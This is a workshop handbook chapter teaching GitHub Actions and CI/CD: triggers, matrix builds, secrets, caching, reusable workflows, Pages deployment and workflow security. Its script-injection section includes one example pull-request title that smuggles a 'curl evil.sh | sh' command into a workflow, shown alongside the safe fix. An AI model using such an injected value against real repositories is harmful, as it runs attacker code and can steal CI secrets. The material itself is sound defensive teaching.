RABBIT HOLES

Accelerate · Manipal University Jaipur

14

PHASE

Actions and CI/CD

Making the repository do the work, and the two triggers that can hand it to a stranger.

Part of **git started**, Accelerate's third workshop.
github.com/accelerate-muj/git-started · MIT licensed.

Contents

1 What a workflow is 3

2 Triggers 4

3 Matrix builds 4

4 Secrets, variables, permissions 5

5 Caching and artifacts 5

6 Jobs that depend on each other 6

6.1 Concurrency 6

7 Reusing workflows 7

8 Security 7

8.1 pull_request_target 8

8.2 Pin your actions 8

8.3 Script injection 8

9 Deploying Pages 9

10 Debugging 9

11 Reference 10

1 What a workflow is

A YAML file in `.github/workflows/` that GitHub runs on a virtual machine when something happens in the repository.

That is the entire concept. Everything else is detail.

```yaml
name: CI

on:
  push:
    branches: [main]
  pull_request:

jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-python@v5
        with:
          python-version: "3.12"
      - run: pip install -r requirements.txt
      - run: pytest -v
```

Key	Means
`on`	What triggers this
`jobs`	Independent units of work, parallel by default
`runs-on`	Which virtual machine
`steps`	Ordered actions inside one job
`uses`	Run a published action
`run`	Run a shell command

> **NOTE**
>
> Each job gets a fresh machine. Two jobs share nothing unless you explicitly pass data between them with artifacts or outputs. This surprises people who expect job two to see the files job one built.

2 Triggers

```
on:
  push:
    branches: [main]
    paths: ['src/**', '!**.md']
  pull_request:
    types: [opened, synchronize, reopened]
  schedule:
    - cron: '0 3 * * 1'
  workflow_dispatch:
    inputs:
      environment:
        type: choice
        options: [staging, production]
  release:
    types: [published]
  issues:
    types: [opened]
```

`workflow_dispatch` adds a Run button in the Actions tab and enables `gh workflow run`. Add it to almost everything, because being unable to re-run a workflow by hand is annoying at exactly the wrong moment.

`paths` avoids running the full test suite when someone fixed a typo in the README. On a busy repository this saves real time and money.

3 Matrix builds

Run the same job across many configurations:

```
jobs:
  test:
    runs-on: ${{ matrix.os }}
    strategy:
      fail-fast: false
      matrix:
        os: [ubuntu-latest, macos-latest, windows-latest]
        python: ["3.10", "3.11", "3.12"]
        exclude:
          - os: windows-latest
            python: "3.10"
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-python@v5
        with:
          python-version: ${{ matrix.python }}
      - run: pytest
```

Nine combinations minus one exclusion, all in parallel.

`fail-fast: false` is worth setting. The default cancels every remaining job as soon as one

fails, which hides whether the failure is on one platform or all of them, and that is usually the first thing you want to know.

4 Secrets, variables, permissions

```
gh secret set API_KEY
gh secret set API_KEY --env production
gh variable set REGION --body "ap-south-1"
gh secret list
```

```
steps:
  - env:
      API_KEY: ${{ secrets.API_KEY }}
      REGION: ${{ vars.REGION }}
    run: ./deploy.sh
```

Secrets are encrypted and masked in logs. Variables are plain text for non-sensitive configuration.

> **TRAP**
>
> Masking is not security. A workflow that can read a secret can print it in a form the masker does not catch, for instance base64 encoded or one character at a time.
> Which means: **any code that runs in a workflow with access to your secrets can exfiltrate them.** That includes every third party action you use and every dependency they pull. This is the reasoning behind pinning actions, later in this phase.

Restrict the automatic token to the minimum:

```
permissions:
  contents: read
  pull-requests: write
```

Set it at the top of the workflow. The default is often more than a job needs, and this is the cheapest hardening available.

5 Caching and artifacts

Different jobs, frequently confused.

Cache makes future runs faster. It is a performance optimisation and may be missing:

```
- uses: actions/cache@v4
  with:
    path: ~/.cache/pip
    key: pip-${{ runner.os }}-${{ hashFiles('requirements.txt') }}
    restore-keys: pip-${{ runner.os }}-
```

Building the key from a hash of the lock file means the cache invalidates exactly when dependencies change.

Artifacts pass files out of a run, to you or to another job:

```
- uses: actions/upload-artifact@v4
  with:
    name: handbook-pdfs
    path: handbook/pdf/*.pdf
    retention-days: 30
```

```
gh run download <run-id> --name handbook-pdfs
```

> **TRY IT**
>
> This repository's handbook could build itself. A workflow that runs on any change to `handbook/src/`, installs TeX Live, runs `python build.py`, and uploads the PDFs as artifacts means nobody needs LaTeX installed to get current copies.
> Add `on: release` and it can attach them to the release automatically.

6 Jobs that depend on each other

```
jobs:
  test:
    runs-on: ubuntu-latest
    outputs:
      version: ${{ steps.get.outputs.version }}
    steps:
      - id: get
        run: echo "version=1.2.3" >> "$GITHUB_OUTPUT"

  deploy:
    needs: test
    if: github.ref == 'refs/heads/main'
    runs-on: ubuntu-latest
    environment: production
    steps:
      - run: echo "Deploying ${{ needs.test.outputs.version }}"
```

`environment: production` is the interesting one. Environments can require manual approval, restrict which branches may deploy, and hold their own secrets. It is how you get a human gate in an automated pipeline.

6.1 Concurrency

```
concurrency:
  group: ${{ github.workflow }}-${{ github.ref }}
  cancel-in-progress: true
```

Pushing three times in a minute otherwise starts three runs. This cancels the older ones. For deployments, set `cancel-in-progress: false` instead, so a deploy is never interrupted halfway.

7 Reusing workflows

Reusable workflows are whole workflows called by others:

```
on:
  workflow_call:
    inputs:
      python-version:
        type: string
        required: true
    secrets:
      token:
        required: true
```

```
jobs:
  call:
    uses: accelerate-muj/.github/.github/workflows/test.yml@main
    with:
      python-version: "3.12"
    secrets:
      token: ${{ secrets.MY_TOKEN }}
```

Composite actions bundle several steps into one `uses`. Put an `action.yml` in a directory:

```
name: Setup project
runs:
  using: composite
  steps:
    - uses: actions/setup-python@v5
      with: {python-version: "3.12"}
    - run: pip install -r requirements.txt
      shell: bash
```

Then `- uses: ./.github/actions/setup`.

> **NOTE**
>
> An organisation-level `.github` repository can hold shared workflows for every repository in the org, which is one more reason the `.github` repo exists beyond the community health files.

8 Security

This section matters more than the rest of the phase. CI systems are a favourite supply chain target because they hold credentials and run other people's code.

8.1 pull_request_target

TRAP

`pull_request` runs in a restricted context: no secrets, read-only token. That is correct, because the code in a pull request from a stranger is untrusted.
`pull_request_target` runs the workflow **from the base branch** with **full secrets and a write token**, while the pull request's code is available to check out.
If you use `pull_request_target` and then check out and execute the pull request's code, you have handed a complete stranger your secrets and write access to your repository. This is a well known and repeatedly exploited mistake.
Use `pull_request_target` only for jobs that need write access and never run contributor code: labelling, commenting, greeting first-time contributors. That is exactly what this repository's `check-poem.yml` does, and it deliberately reads the changed filenames through the API rather than checking the branch out.
If you must build or test contributor code with secrets, use an environment with required reviewers so a human approves each run.

8.2 Pin your actions

```
- uses: actions/checkout@v4
- uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608
```

A tag is a moving pointer, as Phase 10 established, and the owner of an action can move it. Pinning to a full commit SHA means you run exactly the code you reviewed.

For actions from GitHub itself, a major version tag is a reasonable risk. For anything else, pin the SHA. Dependabot will keep the pins updated with pull requests you can review.

8.3 Script injection

TRAP

```
- run: echo "Title: ${{ github.event.pull_request.title }}"
```

The title is attacker controlled. Because `${{ }}` is substituted into the script *before* the shell sees it, a pull request titled `a"; curl evil.sh | sh; #` becomes a command.
Pass it through the environment instead, where the shell treats it as data:

```
- env:
    TITLE: ${{ github.event.pull_request.title }}
  run: echo "Title: $TITLE"
```

The rule: never interpolate `${{ github.event.* }}` directly into a `run:` block. Every workflow in this repository follows it.

9 Deploying Pages

```yaml
permissions:
  contents: read
  pages: write
  id-token: write

jobs:
  deploy:
    environment:
      name: github-pages
      url: ${{ steps.deployment.outputs.page_url }}
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - run: npm ci && npm run build
      - uses: actions/upload-pages-artifact@v3
        with: {path: ./dist}
      - id: deployment
        uses: actions/deploy-pages@v4
```

`id-token: write` is required for the deployment to authenticate. Leaving it out produces an error that does not obviously point at the cause.

10 Debugging

```sh
gh run list --limit 10
gh run view <id> --log-failed
gh run watch <id>
gh run rerun <id> --failed --debug
```

Set the repository secrets `ACTIONS_STEP_DEBUG` and `ACTIONS_RUNNER_DEBUG` to `true` for much more verbose logs.

For anything more than a small change, test locally with `act` rather than pushing twenty commits called “fix ci”:

```sh
act -j test
```

11 Reference

Goal	How
Manual run button	`on: workflow_dispatch`
Skip CI for docs-only changes	`on.push.paths`
Test several versions	`strategy.matrix`
See all failures, not the first	`fail-fast: false`
Speed up dependency installs	`actions/cache`
Get files out of a run	`actions/upload-artifact`
Require a human before deploy	`environment` with reviewers
Cancel superseded runs	`concurrency` with `cancel-in-progress`
Least privilege token	top-level `permissions:` block
Safe handling of user text	pass via `env:`, never inline
Only the failing log	`gh run view <id> --log-failed`

CHECK YOURSELF

1. What is the difference between a cache and an artifact?
2. Why is `pull_request_target` dangerous, and what is it safe for?
3. Why pin an action to a SHA rather than a tag? (Phase 10 has the reason.)
4. Rewrite this safely: `run: echo "${{ github.event.issue.title }}"`
5. Two jobs, and job two cannot see job one's files. Why, and what fixes it?

Next: Phase 15, *Being a maintainer*, the longest phase here, and the one least about commands. It is about running a project other people depend on.